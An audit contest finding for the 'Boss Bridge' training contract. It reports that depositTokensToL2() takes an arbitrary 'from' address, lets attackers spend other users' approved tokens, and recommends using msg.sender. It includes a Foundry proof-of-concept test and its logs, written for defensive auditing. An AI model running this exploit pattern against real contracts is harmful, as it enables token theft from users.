First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Deposit can be frontrun and stolen

johnmatrix

Summary

Deposit can be frontrun and stolen

Vulnerability Details

In order to make a deposit into the bridge a user would first have to
approve the bridge to spend the user's tokens, and then make the deposit call.
An attacker could easily sandwich in a transaction after the approval but
before the deposit transaction and steal the users funds.
Either by picking up the transaction from the mempool or a mined block,
and then spending enough gas to slot in before the user's deposit transaction.

This is possible because the protocol function depositTokensToL2() allows
setting the address from which tokens should be transferred. An attacker
could set someone else's address as from and their own as the recipient
address on the L2 side. This would be the flow:

  1. Victim approves bridge to spend X amount of tokens

  2. Attacker calls depositTokensToL2() specifying victim
    address as from and X as the amount, with their own
    address as the L2 recipient.

  3. Bridge will try to transfer tokens from the victim, which
    will be successful since they have given approval.

  4. Victim tries to deposit, but attacker has already spent the victim's tokens.

Even without frontrunning this mechanism is extremely dangerous since
an attacker can deposit and bridge someone elses tokens if they have given
for example infinite approval to the bridge, which is not uncommon.

Proof of concept

Add this import:

import { IERC20Errors } from "openzeppelin/contracts/interfaces/draft-IERC6093.sol";

and the following test case. It will succeed if the attacker is able to steal the funds.

function testPOC_UserDepositCanBeFrontrun() external {
address attacker = makeAddr("attacker");
// Hacker can use any address on the L2 side, here we use the same as on L1.
address attackerOnL2 = attacker;
uint256 userInitialBalance = token.balanceOf(user);
​
// Step 1: User (the victim) approves bridge access to token so that
// the bridge can deposit them into the vault
uint256 amount = 10e18;
vm.prank(user);
token.approve(address(tokenBridge), amount);
console2.log("Victim approve TX confirmed: bridge can spend %s", amount);
​
// Step 2: Attacker picks up the the approve transaction either straight from
// the mempool or as the block is mined. The attacker sends
// this next transaction with high-enough gasPrice to come before
// the user's deposit transaction. The attacker can spend all approved tokens from the user.
​
// The bridge operators/signers will act on this emit, we verify
// here that the attacker has been able to get the Deposit event emitted.
vm.prank(attacker);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, attackerOnL2, amount);
tokenBridge.depositTokensToL2(user, attackerOnL2, amount);
​
console2.log("Attacker TX was confirmed - Deposit event emitted:");
console2.log(" bridge %s tokens", amount);
console2.log(" from L1:%s", user);
console2.log(" to L2:%s", attackerOnL2);
​
// Step 3: It is already too late for the user now, let's just confirm
// what will happen: the user transaction gets mined but
// the token allowance has already been spent and the user
// transaction will revert.
​
// We expect to get this revert error:
// error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
// where:
// spender=tokenBridge
// allowance=0 (because attacker made the bridge spend it already)
// needed=the amount the user tried to deposit
vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientAllowance.selector, address(tokenBridge), 0, amount));
vm.prank(user);
tokenBridge.depositTokensToL2(user, user, amount);
console2.log("Victim TX was rejected with error InsufficientAllowance - attacker has already spent the allowance");
​
// Log final state to console
uint256 bridgeBalance = token.balanceOf(address(tokenBridge));
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 userBalance = token.balanceOf(address(user));
​
console2.log("");
console2.log("====== Inital balances ======");
console2.log(" User has token balance: %s", userInitialBalance);
console2.log("");
console2.log("====== Balances after ======");
console2.log(" Bridge balance: %s", bridgeBalance);
console2.log(" Vault balance: %s", vaultBalance);
console2.log(" User balance: %s", userBalance);
console2.log(" Attacker balance on L2 side: <soon to be what the user deposited>");
​
}
​

The attack does succeed and the logs show the sequence of events:

Logs:
Victim approve TX confirmed: bridge can spend 10000000000000000000
Attacker TX was confirmed - Deposit event emitted:
bridge 10000000000000000000 tokens
from L1:0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D
to L2:0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Victim TX was rejected with error InsufficientAllowance - attacker has already spent the allowance
​

Impact

Attacker can steal other users' deposits and also potentially all their tokens
(if the victim has given the protocol infinite or large allowance amount).

Tools Used

Manual review

Recommendations

Remove from parameter from depositTokensToL2.
Use msg.sender as the address to transfer tokens from.

Change signature from:

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused

to:

function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused

Then use msg.sender instead of from inside the function.

This way, the bridge will only try to transfer tokens from the actual caller, and an attacker will have no way to spend the user's token balance.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.